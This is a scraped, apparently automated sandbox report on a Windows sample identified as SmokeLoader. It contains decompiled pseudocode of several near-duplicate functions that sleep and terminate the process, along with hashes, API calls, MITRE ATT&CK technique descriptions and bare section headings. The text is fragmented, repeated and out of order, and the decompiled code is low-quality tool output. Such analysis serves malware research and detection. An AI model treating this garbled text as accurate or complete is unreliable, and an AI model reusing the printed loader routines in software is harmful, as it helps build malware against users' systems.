o, xrefs: 00C20600
apfHQ, xrefs: 00C205E2, 00C205E5

Memory Dump Source

Source File: 0000000C.00000002.489209147.0000000000C20000.00000040.00001000.00020000.00000000.sdmp, Offset: 00C20000, based on PE: false

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Snapshot File: hcaresult_12_2_c20000_hdgaecu.jbxd

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: 5169765d158abf9b6663308e9e9aa7144def4d63c61e566b44f13208124d59b1
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: 0A011E70C0425CEEDF10DB98D5583AEBFB5AF41308F248099D8192B342D7B69B58CBA1

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: hdgaecuPID: 5244, Parent PID: 7136COMMON

Execution Graph

Execution Coverage:	6.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	19
Total number of Limit Nodes:	0

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 0040180C Relevance: 3.0, APIs: 2, Instructions: 50
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 23%

			E0040180C(void* __eflags, void* __fp0, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t11;
				void* _t16;
				intOrPtr* _t17;
				void* _t19;
				void* _t20;
				void* _t21;

				_t22 = __eflags;
				L00401140(0x183e, _t16, _t20, _t21, __eflags, __fp0);
				_t17 = _a4;
				Sleep(0x1388);
				_t11 = E00401381(_t19, _t22, _t17, _a8, _a12,  &_v8); // executed
				if(_t11 != 0) {
					_push(_a16);
					_push(_v8);
					_push(_t11);
					_push(_t17); // executed
					L00401455(0x60, _t19, _t20); // executed
				}
				 *_t17(0xffffffff, 0); // executed
				_t17 = _t17 + 0x60;
				_push(0x60);
				asm("pushad");
				__ecx =  *__esp;
				__esp = __esp + 4;
				return __eax;
			}

APIs

Sleep.KERNELBASE(00001388), ref: 00401846
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 0040186E

Memory Dump Source

Source File: 0000000D.00000002.501563110.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_hdgaecu.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 48605b2c447a37bcbfe7e2e744f1bc94e20697bf77b90fed00f3eac78df6e713
Instruction ID: 439418bc6b8cc85bb90c3f715c5c8777bd26b3ffbf7cafd5698f886abb68661d
Opcode Fuzzy Hash: 48605b2c447a37bcbfe7e2e744f1bc94e20697bf77b90fed00f3eac78df6e713
Instruction Fuzzy Hash: DA014F73608208E7DB057A968C41ABA36299B04754F24C137BA13791F1D63DCB12A76B

Uniqueness

Uniqueness Score: -1.00%

Function 00401818 Relevance: 3.0, APIs: 2, Instructions: 45
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 00401846
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 0040186E

Memory Dump Source

Source File: 0000000D.00000002.501563110.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_hdgaecu.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 735c82c96fcbea7bf12158d9a4ead4c90c858f64146e6fe56e595d73795e62df
Instruction ID: 3ccd72cbf6c862e7ac88a574d3d4d63140f03618044998c1cc11cf15f2003e8a
Opcode Fuzzy Hash: 735c82c96fcbea7bf12158d9a4ead4c90c858f64146e6fe56e595d73795e62df
Instruction Fuzzy Hash: F5F03133604204E7DB047E96CC41ABA36199B04754F24C537BA13791F1D63DCB12A76B

Uniqueness

Uniqueness Score: -1.00%

Function 00401822 Relevance: 3.0, APIs: 2, Instructions: 44
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 17%

			E00401822(void* __ebx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t11;
				intOrPtr* _t17;
				void* _t19;
				void* _t22;

				_t23 = __eflags;
				asm("out 0x95, eax");
				L00401140(0x183e, __ebx, __edi, __esi, __eflags, __fp0);
				_t17 =  *((intOrPtr*)(_t22 + 8));
				Sleep(0x1388);
				_t11 = E00401381(_t19, _t23, _t17,  *((intOrPtr*)(_t22 + 0xc)),  *((intOrPtr*)(_t22 + 0x10)), _t22 - 4); // executed
				if(_t11 != 0) {
					_push( *((intOrPtr*)(_t22 + 0x14)));
					_push( *((intOrPtr*)(_t22 - 4)));
					_push(_t11);
					_push(_t17); // executed
					L00401455(0x60, _t19, __edi); // executed
				}
				 *_t17(0xffffffff, 0); // executed
				_t17 = _t17 + 0x60;
				_push(0x60);
				asm("pushad");
				__ecx =  *__esp;
				__esp = __esp + 4;
				__eax = L00401140(__eax, __ebx, __edi, __esi, __eflags, __fp0);
				_pop(__edi);
				_pop(__esi);
				_pop(__ebx);
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

APIs

Sleep.KERNELBASE(00001388), ref: 00401846
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 0040186E

Memory Dump Source

Source File: 0000000D.00000002.501563110.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_hdgaecu.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: a194699a847889707888bec4c97d3b5ba1a2af2b109fbbf12831e69875d24230
Instruction ID: 86529ff08739d4d45ab2b2fe3aa627bb4dd9aa569924de5dc1b0fc6937d585b1
Opcode Fuzzy Hash: a194699a847889707888bec4c97d3b5ba1a2af2b109fbbf12831e69875d24230
Instruction Fuzzy Hash: FEF03133604204EBDB047E96C841ABA36299B44754F24C537BA13B91F1D63DCB12A76B

Uniqueness

Uniqueness Score: -1.00%

Function 00401826 Relevance: 3.0, APIs: 2, Instructions: 40
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 17%

			E00401826(void* __ebx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t8;
				void* _t11;
				intOrPtr* _t17;
				void* _t19;
				void* _t22;

				_t23 = __eflags;
				asm("sbb ebx, ebp");
				L00401140(_t8, __ebx, __edi, __esi, __eflags, __fp0);
				_t17 =  *((intOrPtr*)(_t22 + 8));
				Sleep(0x1388);
				_t11 = E00401381(_t19, _t23, _t17,  *((intOrPtr*)(_t22 + 0xc)),  *((intOrPtr*)(_t22 + 0x10)), _t22 - 4); // executed
				if(_t11 != 0) {
					_push( *((intOrPtr*)(_t22 + 0x14)));
					_push( *((intOrPtr*)(_t22 - 4)));
					_push(_t11);
					_push(_t17); // executed
					L00401455(0x60, _t19, __edi); // executed
				}
				 *_t17(0xffffffff, 0); // executed
				_t17 = _t17 + 0x60;
				_push(0x60);
				asm("pushad");
				__ecx =  *__esp;
				__esp = __esp + 4;
				__eax = L00401140(__eax, __ebx, __edi, __esi, __eflags, __fp0);
				_pop(__edi);
				_pop(__esi);
				_pop(__ebx);
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

APIs

Sleep.KERNELBASE(00001388), ref: 00401846
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 0040186E

Memory Dump Source

Source File: 0000000D.00000002.501563110.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_hdgaecu.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 19d43838bd81236491392686aac446d18c030aded37c005789754258c9c8d03d
Instruction ID: 61297dcd7f948f961e89af5f5716b1062d194a974c17104e1ab0fce138cf61ec
Opcode Fuzzy Hash: 19d43838bd81236491392686aac446d18c030aded37c005789754258c9c8d03d
Instruction Fuzzy Hash: C4F04F33604208A7DB04BE96CC41AAA3719AB04754F248537BB13791E1DA3DCB12A72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401834 Relevance: 3.0, APIs: 2, Instructions: 39
sleepnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 20%

			E00401834(void* __ebx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t10;
				void* _t13;
				intOrPtr* _t19;
				void* _t22;
				void* _t25;

				_t26 = __eflags;
				L00401140(_t10, __ebx, __edi, __esi, __eflags, __fp0);
				_t19 =  *((intOrPtr*)(_t25 + 8));
				Sleep(0x1388);
				_t13 = E00401381(_t22, _t26, _t19,  *((intOrPtr*)(_t25 + 0xc)),  *((intOrPtr*)(_t25 + 0x10)), _t25 - 4); // executed
				if(_t13 != 0) {
					_push( *((intOrPtr*)(_t25 + 0x14)));
					_push( *((intOrPtr*)(_t25 - 4)));
					_push(_t13);
					_push(_t19); // executed
					L00401455(0x60, _t22, __edi); // executed
				}
				 *_t19(0xffffffff, 0); // executed
				_t19 = _t19 + 0x60;
				_push(0x60);
				asm("pushad");
				__ecx =  *__esp;
				__esp = __esp + 4;
				__eax = L00401140(__eax, __ebx, __edi, __esi, __eflags, __fp0);
				_pop(__edi);
				_pop(__esi);
				_pop(__ebx);
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

APIs

Sleep.KERNELBASE(00001388), ref: 00401846
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 0040186E

Memory Dump Source

Source File: 0000000D.00000002.501563110.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_hdgaecu.jbxd

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 0870dc026937b1eb0e2e38101574af244100116dae67d2ee4212e122303e269f
Instruction ID: 4e4f5f6328981cf1385f7e82c295c95f43d6d852bc8dfc3b1875bfb827a549ac
Opcode Fuzzy Hash: 0870dc026937b1eb0e2e38101574af244100116dae67d2ee4212e122303e269f
Instruction Fuzzy Hash: BDF04932604208ABDB04BF92CC81ABA3329AB04754F248537BA12790F1D639C612A72B

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report p3jNeWT0GE.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: SmokeLoader

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\hdgaecu

C:\Users\user\AppData\Roaming\hdgaecu:Zone.Identifier

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Network Port Distribution

TCP Packets

Windows Analysis Report
p3jNeWT0GE.exe

Function 00C20110 Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Function 00C20420 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

Function 00C205B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Function 00416BF0 Relevance: 1.5, APIs: 1, Instructions: 8
COMMONLIBRARYCODE

Function 0040EEC0 Relevance: 1.5, APIs: 1, Instructions: 5
COMMON

Function 00411CF0 Relevance: 7.6, APIs: 5, Instructions: 59
COMMONLIBRARYCODE

Function 0040180C Relevance: 3.0, APIs: 2, Instructions: 50
sleepnativeCOMMON

Function 00401818 Relevance: 3.0, APIs: 2, Instructions: 45
sleepnativeCOMMON

Function 00401822 Relevance: 3.0, APIs: 2, Instructions: 44
sleepnativeCOMMON

Function 00401826 Relevance: 3.0, APIs: 2, Instructions: 40
sleepnativeCOMMON

Function 00401834 Relevance: 3.0, APIs: 2, Instructions: 39
sleepnativeCOMMON

Function 00C20110 Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Function 00C20420 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON